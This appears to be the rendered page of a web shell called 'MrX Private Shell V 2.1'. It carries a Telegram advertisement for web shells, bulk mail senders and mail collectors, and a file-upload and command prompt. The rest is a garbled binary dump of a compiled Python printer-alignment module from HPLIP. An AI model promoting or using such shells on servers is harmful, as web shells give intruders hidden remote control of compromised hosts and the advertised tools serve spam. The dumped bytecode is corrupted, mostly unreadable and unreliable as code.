__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���gn����SSK7 SSK7 SSKJrJr SSKJrJrJr SSK	r	SSK
JrJr Sr
SrS	rS
rSrSrS
rSrSrSrSrSrSrSrSrSrSrSrSrSr Sr!Sr"Sr#Sr$Sq%Sr&S r'S!r(S"r)S#r*S$r+S%r,S&r-S'r.S(r/S)r0S*r1S+r2S,r3S-r4S.r5S/r6S0r7S1r8S2r9S3r:S4r;S5r<S6r=S7r>S8r?S9r@S:rAS;rBS<rCS=rDS>rES?rF\F4S@jrGSArHSBrISCrJSDrKSErLSFrMSGrNSHrOSIrPSJrQSKrRSLrSSMrTSgSNjrUSOrVSPrWSQrXSRrYSSrZSTr[SUr\SVr]SWr^SXr_SYr`SZraS[rbS\rcS]rdS^reS_rfS`rgSarhSbriScrjSdrkSerlSfrmg)h�)�*)�status�pml�)�pcl�ldl�colorcalN)�
to_bytes_utf8�StringIOa`<?xml version="1.0" encoding="UTF-8"?>
<!--  THIS DATA SUBJECT TO DISCLAIMER(S)INCLUDED WITH THE PRODUCT OF ORIGIN. -->
<ipcap:InternalPrintCap xmlns:ipcap="http://www.hp.com/schemas/imaging/con/ledm/internalprintcap/2008/03/21" xmlns:ipdyn="http://www.hp.com/schemas/imaging/con/ledm/internalprintdyn/2008/03/21" xmlns:dd="http://www.hp.com/schemas/imaging/con/dictionaries/1.0/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.hp.com/schemas/imaging/con/ledm/internalprintcap/2008/03/21 ../schemas/InternalPrintCap.xsd http://www.hp.com/schemas/imaging/con/ledm/internalprintdyn/2008/03/21 ../schemas/InternalPrintDyn.xsd http://www.hp.com/schemas/imaging/con/dictionaries/1.0/ ../schemas/dd/DataDictionaryMasterLEDM.xsd">
                                <ipdyn:JobType>%s</ipdyn:JobType>
</ipcap:InternalPrintCap>"

        z/DevMgmt/InternalPrintDyn.xmlz/DevMgmt/InternalPrintCap.xmlz7<ipdyn:JobType>cleaningVerificationPage</ipdyn:JobType>c��U"5nU(a>UR[R[RSSS9 UR	5 U$)NrT)�style�direct)�writeEmbeddedPMLr�OID_AUTO_ALIGNMENT�AUTO_ALIGNMENT�
closePrint��dev�loadpaper_ui�oks   �/usr/share/hplip/base/maint.py�
AlignType1r0sF��	��B�	����S�3�3� �/�/�q�$(�	�	*�	����
�I�c��U"5nU(a>UR[R[R5 UR	5 U$�N��setPMLrrr�closePMLrs   r�
AlignType1PMLr:s4��	��B�	��
�
�3�)�)�3�+=�+=�>�����
�Irc��SupEpgnSn	US:wGaEUS:Xa]SnUR5Sn
[[U
55Vs/sHo�UPM	 nn[U;a[RS5 SnO�US:XaSnU"5n	U	(aS	nO�US	:Xa%Sn[
U5 U"S
SSS	S
5up�U	(aSnO�US:XaSnU"SSSS	S
5up�U	(aSnOuUS:XaSnU"SSSS	S5up�U	(aSnOUUS:XaSnU"SSSS	S5up�U	(aSnO5US:XaU"5n	U	(a
[XXgU5 SnOUS:XaSn	U"5 SnUS:waGMEU	$s snf)N)r�r!�r"F���rr�agentsz3Cannot perform alignment with 0 or 1 pen installed.�d��A�h�kc�r"�B�v��C��D�cr!)�getStatusFromDeviceID�range�len�AGENT_TYPE_NONE�log�error�alignType2Phase1�alignType2Phase2)
rr�align_ui�bothpens_ui�state�a�br1�dr�pens�x�	pen_typess
             r�
AlignType2rCDs���%��E�a�A�	�B�
�2�+��A�:��E��,�,�.�x�8�D�*/��D�	�*:�;�*:�Q�a��*:�I�;��)�+��	�	�O�P����
�a�Z��E���B�����
�a�Z��E��S�!��S�#�t�Q��3�E�B�����
�a�Z��E��S�#�t�Q��3�E�B�����
�a�Z��E��S�#�t�Q��2�E�B�����
�a�Z��E��S�#�s�A�q�1�E�B�����
�a�Z���B�� ���q�1��E�
�c�\��B��M��E�c�2�+�f�I��_<s�Ec�l�SupVpxp�SnUS:wGa$US:XaSnU"5nU(a
[U5 SnO�US:XaSnU"SSSS	S
5up�U(aS	nO�US	:XaSnU"SSSS	S
5up�U(aS
nO�US
:XaSnU"SSSS	S
5up�U(aSnO�US:XaSnU"SSSS	S
5up�U(aSnOwUS:Xa)Sn[XXxU	5 US:XaSnOYU"5nU(aSnOHUS:Xa!Sn[U5 U"S5up�U(aSnO!US:XaU"5nU(a[X
5 SnUS:waGM$U$)N)rr!r!r"r"r!Fr#rrr'r(r)r&r*r+r,r"r.�kr-r0r/�	�r!�
)�alignType3Phase1�alignType3Phase2�alignType3Phase3�alignType3Phase4)rrr:�paperedge_ui�
align_typer<r=r>r1r?�zcars            r�
AlignType3rP~so��-��E�a�A�	�B�
�2�+��A�:��E���B�� ��%����
�a�Z��E��S�#�t�Q��3�E�B�����
�a�Z��E��S�#�t�Q��3�E�B�����
�a�Z��E��S�#�s�A�r�2�E�B�����
�a�Z��E��S�#�t�Q��3�E�B�����
�a�Z��E��S�Q�1�-��Q����!�^����E��
�a�Z��E��S�!�"�2�&�G�B�����
�a�Z���B�� ��*��E�k�2�+�n�Irc
�n�SupxSS/n	Sup�p�p�nS/nSn[R"UR55UlUR[[
4;aSS/nnO�UR[:XaS/SQnnOkUR[:XaS/SQnnOPUR[:XaS/S	QnnO5UR[:XaS/S
QnnOUR[:XaS/SQnnUS:wGaJUS:XaSU"5nU(a?US:Xa
[U5 GOUS
:Xa
[U5 GO�US:Xa
[U5 GO�SUnnGO�SU	nnGO�US:XaU"S5unn
U(dSU	nnGO�US:Xa=US:Xa[X
X�X�5 GO�US
:Xa[X
X�X�UU5 GO�[!X
X�X�UU5 GO}US:XaGU"5nU(a3US:Xa
[#U5 GOVUS
:Xa
[%U5 GOC['U5 GO6SU	nnGO0US:XaU"5 SnGOUS:XaU"SSSSS5unnU(dSU	nnO�US:XaU"SSSSS5unnU(dSU	nnO�US:XaU"SSSSS5unnU(dSU	nnO�US:XaU"SSSSS5unnU(dSU	nnO�US:XaU"SSSSS5unn
U(dSU	nnOzUS :XaU"S!SSSS5unnU(dSU	nnOYUS":XaU"S#S$5unnU(dSU	nnO;US%:XaU"S&S$5unnU(dSU	nnOUS:XaSn[(R+S'5 WUnUS(-
nUS:waGMJU$))N)rri�r#)rrrrrrrFr%r)r&��r"r#)r&�,r"r#)r&����X�r"r-r#)
r&rTrUrVrW� �r"r-r#r-r/rGr&rHr"rRr+r,rEr*rSr)rTr(�rUr.rVr0rW�ErX�F�rY�Gz#Alignment canceled at user request.r)r�getPenConfigurationr2�
pen_config�AGENT_CONFIG_NONE�AGENT_CONFIG_INVALID�AGENT_CONFIG_BLACK_ONLY�AGENT_CONFIG_PHOTO_ONLY�AGENT_CONFIG_COLOR_ONLY�AGENT_CONFIG_COLOR_AND_BLACK�AGENT_CONFIG_COLOR_AND_PHOTO�alignType4Phase1�alignType5Phase1�alignType7Phase1�alignType4Phase2�alignType5Phase2�alignType7Phase2�alignType4Phase3�alignType5Phase3�alignType7Phase3r6�warning)rrNrr:rM�
invalidpen_ui�coloradj_uir<�statepos�user_cancel_statesr=r>r1r?�e�f�g�error_statesr�statess                    r�	AlignxBowr{�s����O�E�����-��A�!��a��4�L�	�B��/�/��0I�0I�0K�L�C�N�
�~�~�+�-A�B�B��b�T�v��v�	���2�	2��?�v��v�	���2�	2��?�v��v�	���2�	2��?�v��v�	���7�	7��<�v��v�	���7�	7��F�v��
�2�+��A�:���B����?�$�S�)��1�_�$�S�)��1�_�$�S�)�'(�,�f�H�f�#$�&8�&��&��a�Z� ��$�E�B���#$�&8�&���
�a�Z��Q�� ���q�4��q�� ���q�Q��:� ���q�Q��:�
�a�Z���B����?�$�S�)��1�_�$�S�)�$�S�)�#$�&8�&��&�
�c�\��O��E�
�c�\��S�#�s�A�r�2�E�B���#$�&8�&���
�c�\��S�#�t�Q��3�E�B���#$�&8�&���
�c�\��S�#�t�Q��3�E�B���#$�&8�&���
�c�\��S�#�t�Q��3�E�B���#$�&8�&���
�c�\��S�#�s�A�r�2�E�B���#$�&8�&���
�c�\��S�#�t�Q��3�E�B���#$�&8�&���
�c�\���R�(�E�B���#$�&8�&���
�c�\���R�(�E�B���#$�&8�&���
�d�]��B��K�K�=�>��x� ���A�
��w�2�+�z�Irc���SnSnUS:waTUS:XaSnU"5nU(dSnO3US:XaSnU"5nU(a
[U5 SnOUS:Xa	U"5 SnUS:waMTU$)NrFr#r&r)�alignType6Phase1)r�ui1�ui2rr<r�accepts       r�
AlignType6r�8st��
�E�	�B�
�2�+��A�:��E��U�F�����
�a�Z��E���B�� ��%����
�a�Z��E��E�#�2�+�(�Irc��Sup4pVnSnUS:wa�US:XaSnU"5nU(a
[U5n	SnO�US:XaSnU"SSSS	S
5up�U(aSnOvUS:XaSnU"SSS
S	S
5up�U(aS	nOVUS	:XaSnU"SSSS	S
5up�U(aSnO6US:XaSnU"SSSS	S
5up�U(aSnOUS:Xa[UW	XEXg5 SnUS:waM�U$)N)rr/r/r/r/Fr#rrr'r,rEr"rFr&r+r1r.r)r-r0r(r/)�alignType8Phase1�alignType8Phase2)
rrr:r<r=r>r1r?r�num_inkss
          r�
AlignType8r�Rs��%��E�a�A�	�B�
�2�+��A�:��E���B��+�C�0�����
�a�Z��E��S�#�s�A�q�1�E�B�����
�a�Z��E��S�#�s�A�q�1�E�B�����
�a�Z��E��S�#�t�Q��2�E�B�����
�a�Z��E��S�#�t�Q��2�E�B�����
�a�Z��S�(�A�!�7��E�G�2�+�J�Irc�4�[U5nSnUS:wa�US:XaSnU"5nU(a
[U5 SnOXUS:Xa1U"U[5n[R	U5 [XU5 SnO!US:XaSnU"5nU(a[
U5 US:waM�gg�Nrr#rr&)�alignType10SetPattern�alignType10Phase1�ALIGN_TYPE_LBOWr6�debug�alignType10Phase2�alignType10Phase3)rrr:�patternr<r�valuess       r�AlignType10r�~s���#�C�(�G�
�E�
�2�+��A�:��E���B��!�#�&����
�a�Z��g��7�F��I�I�f���c�7�3��E�
�a�Z��E���B��!�#�&�%�2�+rc�
�Sn[R"UR55n[R	SU-5 U[
:XaSnOU[:XaSnOU[[4;aSn[R	SU-5 U$�Nz
Pen config=%drr&r"z
Pattern=%d)	rr_r2r6r�rcrfrg�AGENT_CONFIG_COLOR_AND_GREY)rr�r`s   rr�r��sw���G��+�+�C�,E�,E�,G�H�J��I�I�o�
�*�+��,�,���	�3�	3���	�4�6Q�R�	R����I�I�l�W�$�%��Nrc��UR[R[R5 UR	5 gr)rr�OID_PRINT_INTERNAL_PAGE�"PRINT_INTERNAL_PAGE_ALIGNMENT_PAGEr�rs rr�r��s.������4�4��?�?�A��N�N�rc�~�SSR[RS/5pCUHSnUS-
nU(d OFSRU[RS[	U5S[	U5[	U5S/5nMU SRU[R/5nURU5 UR
5 g)Nr��
rz*o5W�)�joinr�UEL�ESC�chr�	printDatar)rr�r��i�prAs      rr�r��s����b�g�g�s�w�w��o�&�q�
��	�Q������G�G�Q�����S��V�V�S��\�3�q�6�SW�X�Y��	�	����C�G�G���A��M�M�!���N�N�rc��UR[R[R5 UR	5 gr)rrr��/PRINT_INTERNAL_PAGE_ALIGNMENT_PAGE_VERIFICATIONrr�s rr�r��s.������4�4��L�L�N��N�N�rc
�x�U[:Xa9US:Xa
SSSSSSSSS.nU$US:Xa
SSSSSSSSS.nU$US:XaSSSSSSSSS.nW$U[:Xa5US:XaSSS	.nU$US:XaSS
SSS
S
S
SSS.	nU$US:XaSSSSSSSSSS.	nW$US:Xa
SSSSSSSSS.nU$US:Xa
SSSSSSSSS.nU$US:XaSSSSSSSSS.nW$)Nr)T�)TrF)Fr)r'r+r.r0r[r\r^�Hr&)TrZr")r'r+)Tr*)	r'r+r.r0r[r\r^r��I)�ALIGN_TYPE_LIDIL_0_5_4�ALIGN_TYPE_LIDIL_DJ_D1600)r�rN�controlss   r�align10and11and14Controlsr��s����+�+��a�<�)�(�(�)�)�)�)�)�,�H�h�O�Y��\�)�)�)�)�(�(�(�(�+�H�V�O�E��\�(�)�)�)�(�(�(�(�+�H�B�O�q
�0�	0��a�<�)�(�+�H�l�O�i��\�)�)�)�)�)�)�)�(�(�+�H�f�O�S��\�(�)�)�)�(�(�(�(�(�+�H�P�O�;�a�<�(�(�(�)�)�)�)�)�,�H�8�O�)��\�(�(�)�)�(�(�(�(�+�H�&�O���\�(�(�)�)�(�(�(�(�+�H��Orc�^�[U5nUcU"5 gSnUS:wa�US:XaSnU"5nU(a
[U5 SnObUS:Xa;U"U[5n[R	U5 [XX@R5 SnO!US:XaSnU"5nU(a[U5 US:waM�ggr�)�alignType11SetPattern�alignType11Phase1r�r6r��alignType11Phase2r`�alignType11Phase3�rrr:rrr�r<rr�s        r�AlignType11r� s���#�C�(�G������
�E�
�2�+��A�:��E���B��!�#�&����
�a�Z��g�'=�>�F��I�I�f���c�7�N�N�C��E�
�a�Z��E���B��!�#�&�%�2�+rc��Sn[R"UR55Ul[RSUR-5 UR[[4;aSnUR[:XaSnO,UR[:XaSnOUR[:Xag[RSU-5 U$r��rr_r2r`r6r�rcrerfrgrd�rr�s  rr�r�<����G��/�/��0I�0I�0K�L�C�N��I�I�o����.�/�
�~�~�1�3J�K�K���
�~�~�5�5���	���7�	7���	���2�	2���I�I�l�W�$�%��Nrc���UR[R"55 UR[R"[R55 UR5 gr�r�r�buildResetPacket�buildReportPagePacket�#COMMAND_REPORT_PAGE_PEN_CALIBRATIONrr�s rr�r�Q�>���M�M�#�&�&�(�)��M�M�#�+�+�C�,S�,S�T�U��N�N�rc���SnU[:Xa[RnUSSnOwU[:Xa[RnUSSnOWU[
:Xa"[R[R-nO+U[:Xa![R[R-n[RSXA4-5 UR[R"XA55 UR5 g)Nrr"�Active colors=0x%x Values=%s�
rcr�COMMAND_SET_PEN_ALIGNMENT_3_Kre�!COMMAND_SET_PEN_ALIGNMENT_3_COLORrfrg�!COMMAND_SET_PEN_ALIGNMENT_3_PHOTOr6r�r��buildSetPenAlignment3Packetr�rr�r�r`�
active_colorss     rr�r�W����M��,�,��9�9�
������	�.�	.��=�=�
������	�3�	3��9�9�C�<a�<a�a�
�	�3�	3��=�=��@e�@e�e�
��I�I�,�
�/F�F�G��M�M�#�1�1�-�H�I��N�N�rc���UR[R"55 UR[R"[R55 UR5 gr�r�rr�r��*COMMAND_REPORT_PAGE_PEN_CALIBRATION_VERIFYrr�s rr�r�m�>���M�M�#�&�&�(�)��M�M�#�+�+�C�,Z�,Z�[�\��N�N�rc�F�U"5nU(a[U5 U"5nU$r)�alignType13Phase1)rr�scanner_align_load_uirs    r�AlignType13r�ss!��	��B�	��#��
"�
$��
�Irc��UR[R[R5 UR	5 grrr�s rr�r�{s%���J�J�s�%�%�s�'9�'9�:��L�L�Nrc�p�[R"US5nU(d[R"US5nU(d&[RS5 UR	5 g[S5U;a&[R
S5 UR	5 g[S5U;a&[R
S5 UR	5 g[S	5U;a&[RS
5 UR	5 g[R"US5n[S5U;a&[R
S5 UR	5 g[S
5U;a>[RS5 [R"USS5 UR	5 g[S5U;aD[RS5 [R"USS5 UR	5 U"5$[S5U;a�[RS5 [R"USS5nSSKnURUS5SnURUS5SnSU-n[R"X5nURUS5SnURUS5SnSU-S-nUq
UR	5 g)N�/Calibration/Statez$Unable to retrieve calibration stater�ParmsRequestedz"Restart device and start alignmentrz
404 Not Foundz Device may not support Alignmentz	Printing<z$Previous alignment job not completedz /DevMgmt/ConsumableConfigDyn.xml�
AlignmentMode�	automaticz%Device supports automatic calibrationz/Calibration/Sessionz�<cal:CalibrationState xmlns:cal=\"http://www.hp.com/schemas/imaging/con/cnx/markingagentcalibration/2009/04/08\" xmlns:dd=\"http://www.hp.com/schemas/imaging/con/dictionaries/1.0/\">Printing</cal:CalibrationState>�
semiAutomaticz)Device supports semiAutomatic calibration�manualz"Device supports manual calibrationz/Jobsz
zSession/�<z/Calibration/Session/z/ManualSelectedPatterns.xml)r�StatusType10FetchUrlr6r��closer
r7�warn�string�split�calibrationSession)r�funcr�datar�s     r�dataModelHelperr��sB���&�&�t�-A�B�D���*�*�4�1E�F����	�	�8�9��	�	����%�&�$�.��	�	�6�7��	�	����_�%��-��	�	�4�5��	�	����[�!�T�)����7�8��	�	����&�&�t�-O�P�D��_�%�T�1��	�	�4�5��	�	����[�!�T�)��	�	�9�:��#�#�D�*@�Cb�	c��	�	����_�%��-��	�	�=�>��#�#�D�*@�Cb�	c��	�	���u���X��$�&��	�	�6�7��*�*�4�1G�Ji�j����|�|�D�'�*�1�-���|�|�D�&�)�!�,����~���*�*�4�6���|�|�D�*�-�a�0���|�|�D�#�&�q�)��&��-�0M�M��!���	�	��rc���[RSU<SU<SU<SU<SU<SU<SU<SU<S	U	<S
U
<35 URn[R"US5nU(dgS
U;a&SU;ag[R"US5nS
U;aM&SU<SU<SU<SU<SU<SU<SU<SU<SU	<SU
<S3nS[
<S[
U5<S3U-n[R"U[
U5ng)Nza=z b=z c=z d=z e=z f=z g=z h=z i=z j=r�rr��CalibrationValida�<?xml version="1.0" encoding="UTF-8"?>
<!-- THIS DATA SUBJECT TO DISCLAIMER(S) INCLUDED WITH THE PRODUCT OF ORIGIN. -->
<ManualSelectedPatterns xmlns="http://www.hp.com/schemas/imaging/con/cnx/markingagentcalibration/2009/04/08" xmlns:locid="http://www.hp.com/schemas/imaging/con/ledm/localizationids/2007/10/31/" xmlns:psdyn="http://www.hp.com/schemas/imaging/con/ledm/productstatdyn/2007/10/31"><SelectedPattern><Identifier><Id>1</Id></Identifier><Choice><Identifier><Id>zy</Id></Identifier></Choice></SelectedPattern><SelectedPattern><Identifier><Id>2</Id></Identifier><Choice><Identifier><Id>zy</Id></Identifier></Choice></SelectedPattern><SelectedPattern><Identifier><Id>3</Id></Identifier><Choice><Identifier><Id>zy</Id></Identifier></Choice></SelectedPattern><SelectedPattern><Identifier><Id>4</Id></Identifier><Choice><Identifier><Id>zy</Id></Identifier></Choice></SelectedPattern><SelectedPattern><Identifier><Id>5</Id></Identifier><Choice><Identifier><Id>zy</Id></Identifier></Choice></SelectedPattern><SelectedPattern><Identifier><Id>6</Id></Identifier><Choice><Identifier><Id>zy</Id></Identifier></Choice></SelectedPattern><SelectedPattern><Identifier><Id>7</Id></Identifier><Choice><Identifier><Id>zy</Id></Identifier></Choice></SelectedPattern><SelectedPattern><Identifier><Id>8</Id></Identifier><Choice><Identifier><Id>zy</Id></Identifier></Choice></SelectedPattern><SelectedPattern><Identifier><Id>9</Id></Identifier><Choice><Identifier><Id>z�</Id></Identifier></Choice></SelectedPattern></SelectedPattern><SelectedPattern><Identifier><Id>10</Id></Identifier><Choice><Identifier><Id>zE</Id></Identifier></Choice></SelectedPattern></ManualSelectedPattern>zPUT z� HTTP/1.1
Host: localhost
User-Agent: hp
Accept: text/plain
Accept-Language: en-us,en
Accept-Charset:utf-8
Content-Type: text/xml
Content-Length: z

)r6r��getEWSUrl_LEDMrr�r�r4)
rr=r>r1r?rvrwrxr(r��jr�r�s
             r�AlignType16Manualr��s���I�I�Q��1�a�QR�TU�WX�Z[�]^�`a�c�d����D��&�&�t�-A�B�D���
�$�
&���%���*�*�4�1E�F���$�
&��ef�hi�kl�no�qr�tu�wx�z{�}~�@A�C�D�J\�^a�bf�^g�h�ko�o�D��&�&�t�-?��F�Drc�H�U"5(dg[XRU5$r�r�r��rrrs   r�AlignType15r��s���>�>���3� 2� 2�C�8�8rc�.�[XRU5$rr��rrs  r�AlignType15Phase1r��s���3� 2� 2�C�8�8rc�H�U"5(dg[XRU5$r�r��getUrl_LEDMr�s   r�AlignType17r��s���>�>���3����5�5rc�.�[XRU5$rr�r�s  r�AlignType17Phase1r��s���3����5�5rc
�6�U"5(dg[XRU5 Sup4pVpxp�p�n
SnUS:wGaSUS:XaSnU"SSSSS	5up�U(aS
nGO)US
:XaSnU"SSSSS
5up�U(aSnGOUS:XaSnU"SSSSS	5up�U(aSnO�US:XaSnU"SSSSS	5up�U(aSnO�US:XaSnU"SSSSS5up�U(aSnO�US:XaSnU"SSSSS5up�U(aSnO�US:XaSnU"SSSSS5up�U(aSnOhUS:XaSnU"SSSSS5up�U(aSnOHUS:XaSnU"SSSSS5up�U(aSnO(US:XaSnU"S SSSS5up�U(aS!nOUS!:XaSnUS:waGMS[XXVXxX�X�U
5 U$)"N)rr!r!r"r"r!r!r!r!r!r!Fr#rr'r,r)r"r�rr+r(rZr&r.rEr0r1r-r[r*r/r\r!r^rGr��r��rF�J�
)r�r�r�)rrr:r<r=r>r1r?rvrwrxr(r�r�rs               r�AlignType16r��s���>�>���C�+�+�X�6�*I�'�E�a�A�!��a�	�B�
�2�+��A�:��E��S�#�t�Q��3�E�B�����
�a�Z��E��S�#�t�Q��3�E�B�����
�a�Z��E��S�#�s�A�r�2�E�B�����
�a�Z��E��S�#�s�A�r�2�E�B�����
�a�Z��E��S�#�s�A�r�2�E�B�����
�a�Z��E��S�#�s�A�r�2�E�B�����
�a�Z��E��S�#�s�A�r�2�E�B�����
�a�Z��E��S�#�s�A�r�2�E�B�����
�a�Z��E��S�#�s�A�r�2�E�B�����
�a�Z��E��S�#�s�A�r�2�E�B�����
�b�[��E�}�2�+�@�c�a�A�!��a�8�
�Irc
�$�[XX#XEXgX�U
5 gr)r�)rr=r>r1r?rvrwrxr(r�r�s           r�AlignType16Phase1r�'s���c�a�A�!��a�8rc�^�[U5nUcU"5 gSnUS:wa�US:XaSnU"5nU(a
[U5 SnObUS:Xa;U"U[5n[R	U5 [XX@R5 SnO!US:XaSnU"5nU(a[U5 US:waM�ggr�)�alignType14SetPattern�alignType14Phase1r�r6r��alignType14Phase2r`�alignType14Phase3r�s        r�AlignType14r*s���#�C�(�G������
�E�
�2�+��A�:��E���B��!�#�&����
�a�Z��g�'@�A�F��I�I�f���c�7�N�N�C��E�
�a�Z��E���B��!�#�&�%�2�+rc��Sn[R"UR55Ul[RSUR-5 UR[[4;aSnUR[:XaSnO,UR[:XaSnOUR[:Xag[RSU-5 U$r�r�r�s  rr�r�Fr�rc���UR[R"55 UR[R"[R55 UR5 grr�r�s rr�r�[r�rc���SnU[:Xa[RnUSSnOwU[:Xa[RnUSSnOWU[
:Xa"[R[R-nO+U[:Xa![R[R-n[RSXA4-5 UR[R"XA55 UR5 g)Nrr&r�r�r�s     rrrar�rc���UR[R"55 UR[R"[R55 UR5 grr�r�s rrrwr�rc��UR[RS5 UR[RS5 UR[RS5 UR[R
S5 UR
5 UR[RR[RSSS55 g)Nrr�rzalign1_8xx.pcl.gz�
rr�OID_AGENT2_VERTICAL_ALIGNMENT�OID_AGENT2_HORIZONTAL_ALIGNMENT�OID_AGENT1_BIDIR_ADJUSTMENT�OID_AGENT2_BIDIR_ADJUSTMENTr�
printGzipFile�os�pathr��prop�home_dirr�s rr8r8}�������:�:�A�>�����<�<�a�@�����8�8�!�<�����8�8�!�<��N�N�����b�g�g�l�l�4�=�=�&�%�AT�U�Vrc��UR[RUS-
S-5 UR[RUS-
S-5 UR[RUS-
S-5 UR[R
US-
S-5 UR[RS5 UR5 UR[RR[RSSS55 g)Nr!�r"r�rzalign2_8xx.pcl.gz)rrr	r
rr�OID_MARKING_AGENTS_INITIALIZEDrr
rrr�rr�rr=r>r1r?s     rr9r9�s�������:�:�Q��U�b�L�I�����<�<�q�1�u��l�K�����8�8�1�q�5�B�,�G�����8�8�1�q�5�B�,�G�����;�;�Q�?��N�N�����b�g�g�l�l�4�=�=�&�%�AT�U�Vrc��UR[RS5 UR[RS5 UR[RS5 UR[R
S5 UR
5 UR[RR[RSSS55 g)Nrr�rzalign1_9xx.pcl.gzrr�s rrIrI�rrc�T�UR[RUS-
S-5 UR[RSU-
S-5 UR[RSU-
S-5 UR[R
SU-
S-5 UR
5 g)Nr!r)rrr	r
rrrrs     rrJrJ�s�������:�:�Q��U�b�L�I�����<�<�q�1�u��l�K�����8�8�1�q�5�B�,�G�����8�8�1�q�5�A�+�F��N�N�rc��UR5 UR[RR	[
RSSS55 g)Nr�rzalign3_9xx.pcl.gz�rr
rrr�rrr�s rrKrK�s2���N�N�����b�g�g�l�l�4�=�=�&�%�AT�U�Vrc���UR[RS5 UR5 UR	[
RR[RSSS55 g)Nr"r�rzalign2_9xx.pcl.gz)
rrrrr
rrr�rr)rrOs  rrLrL�sH������;�;�Q�?��N�N�����b�g�g�l�l�4�=�=�&�%�AT�U�Vrc��UR[R"[R55 UR[
[4;agUR[:XaSnO-UR[:XaSnOUR[:XaSnUR[R"SSSS55 UR5 UR[RR[ R"SSW55 g)N�
cbbcal.ldl.gz�
cbccal.ldl.gz�cb2pcal.ldl.gzrr�r)r�r�buildLIDILPacket�#PACKET_TYPE_RESUME_NORMAL_OPERATIONr`rarbrcrerf�buildSetPrinterAlignmentPacketrr
rrr�rr�r�ldl_files  rrhrh�s����M�M�#�&�&�s�'N�'N�O�P�
�~�~�+�-A�B�B��	���2�	2�"��	���2�	2�"��	���7�	7�#���M�M�#�4�4�Q��1�a�@�A��N�N�����b�g�g�l�l�4�=�=�&�%��J�Krc��[RSXX4U4-5 UR[[4;agSU-
S-nUR[R"U55 UR[:Xa1SU-
S-nUR[R"USSS55 O�UR[:Xa1SU-
S-nUR[R"SSSU55 OZUR[:XaFSU-
S-n	SU-
S-n
SU-
S-nSU-
S-nUR[R"XzX�55 UR[R"55 UR5 g)	NzA=%d, B=%d, C=%d, D=%d, E=%drG����r!r&rrF���)r6r�r`rarbr�r�buildZCAPacketrcr"rerf�buildSetPensAlignedPacketr)rr=r>r1r?rvrO�k_bidi�cmy_bidi�vert�horts           rrkrk�s?���I�I�,��a�A��>�?�
�~�~�+�-A�B�B��
�q�5�C�-�C��M�M�#�$�$�S�)�*�
�~�~�0�0��a�%�1����
�
�c�8�8���A�q�I�J�	���2�	2���E�Q�;���
�
�c�8�8��A�q�(�K�L�	���7�	7��A���{���A���|���a�%�1�����E�Q�;���
�
�c�8�8��t�V�W��M�M�#�/�/�1�2��N�N�rc��UR[:Xa@UR[RR[RSSS55 gg)Nr�r�cb2pcal_done.ldl.gz)r`rfr
rrr�rrr�s rrnrn�s:��
�~�~�5�5����"�'�'�,�,�t�}�}�f�e�EZ�[�\�6rc��UR[R"[R55 UR[
[4;agUR[:XaSnO[UR[:XaSnODUR[:XaSnO-UR[:XaSnOUR[:XaSnUR[R"S55 UR[R"S55 UR[R"S55 UR[R"S55 UR[R "S55 UR[R""S55 UR[R$"S55 UR[R&"S55 UR[R("S55 UR+5 UR-[.R0R3[4R6SSW55 g)	Nrz
cbpcal.ldl.gzrrzcbcpcal.ldl.gzrr�r)r�rr r!r`rarbrcrdrerfrgr(�buildColorHortPacket�buildColorVertPacket�buildBlackVertPacket�buildBlackHortPacket�buildBlackBidiPacket�buildColorBidiPacket�buildPhotoHuePacket�buildColorHuePacketrr
rrr�rrr#s  rriri�s����M�M�#�&�&�s�'N�'N�O�P�
�~�~�+�-A�B�B��	���2�	2�"��	���2�	2�"��	���2�	2�"��	���7�	7�#��	���7�	7�#���M�M�#�$�$�Q�'�(��M�M�#�*�*�1�-�.��M�M�#�*�*�1�-�.��M�M�#�*�*�1�-�.��M�M�#�*�*�1�-�.��M�M�#�*�*�1�-�.��M�M�#�*�*�1�-�.��M�M�#�)�)�!�,�-��M�M�#�)�)�!�,�-��N�N�����b�g�g�l�l�4�=�=�&�%��J�Krc
��[RSXX4XVU4-5 UR[[4;agSU-
S-nUR[R"U55 UR[:Xa/SU-
S-n	UR[R"U	55 GO$UR[:Xa/SU-
S-n
UR[R"U
55 GO�UR[:Xa/SU-
S-nUR[R"U55 GO�UR[:XGaSU-
S-nSU-
S-n
SU-
S-n	SU-
S-nUR[R"S55 UR[R "S55 UR[R""U55 UR[R$"U
55 UR[R"U	55 UR[R"U55 GO�UR[&:XGatSU-
S-nSU-
S-n
SU-
S-nSU-
S-n
[(R*UUn[(R,UUnUR[R."U
55 UR[R0"U55 UR[R"S55 UR[R "S55 UR[R"U
55 UR[R"U55 UR[R2"U55 UR[R4"U55 UR[R6"55 UR95 g)	N�(A=%d, B=%d, C=%d, D=%d, E=%d, F=%d, G=%drGr&r!r&rFr'r)r6r�r`rarbr�rr(rcr5rd�buildPhotoBidiPacketrer6rfr1r2r3r4rgr	�PHOTO_ALIGN_TABLE�COLOR_ALIGN_TABLE�buildPhotoHortPacket�buildPhotoVertPacketr7r8r)r)rr=r>r1r?rvrwrxrOr*�kcm_bidir+r,r-�	photo_adj�	color_adjs                rrlrls����I�I�8�A�!��a�;P�P�Q�
�~�~�+�-A�B�B��
�q�5�C�-�C��M�M�#�$�$�S�)�*�
�~�~�0�0��a�%�1����
�
�c�.�.�v�6�7�	���2�	2���E�Q�;���
�
�c�.�.�x�8�9�	���2�	2���E�Q�;���
�
�c�.�.�x�8�9�	���7�	7��A���{���A���|���a�%�1�����E�Q�;���
�
�c�.�.�q�1�2��
�
�c�.�.�q�1�2��
�
�c�.�.�t�4�5��
�
�c�.�.�t�4�5��
�
�c�.�.�v�6�7��
�
